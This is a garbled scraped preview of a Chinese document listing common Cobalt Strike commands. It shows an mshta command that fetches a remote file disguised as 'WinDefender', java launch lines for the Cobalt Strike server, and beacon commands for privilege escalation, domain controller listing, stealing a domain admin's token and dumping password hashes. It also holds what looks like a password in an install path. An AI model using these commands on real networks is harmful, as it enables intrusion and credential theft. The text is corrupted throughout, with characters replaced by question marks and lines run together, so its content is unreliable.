Cobalt Strike常用命令信息安全资料.docxVIP

常?命令 安装?录tools/攻击测试chichiHEHE@1dmshta02:9002/WinDefender.extjava-XX:+AggressiveHeap-XX:+UseParallelGC-jarcobaltstrike.jarsudo

常?命令

安装?录tools/攻击测试chichiHEHE@1d

mshta02:9002/WinDefender.ext

java-XX:+AggressiveHeap-XX:+UseParallelGC-jarcobaltstrike.jar

sudojava-XX:ParallelGCThreads=4-XX:+AggressiveHeap-XX:+UseParallelGC-Xms512M-Xmx1024M-jarcobaltstrike.jar

?些命令

getuidgetsystem

getprivs

netnetnet

net

viewdclist//列出域控制器logons

sessions

execute[program][arguments]#命令没有回显

StealToken#在域名中，普通?户发现域管运?的进程，?这个模块获取域管进程的权限

Interact打开

Interact打开beacon

Access

dumphashes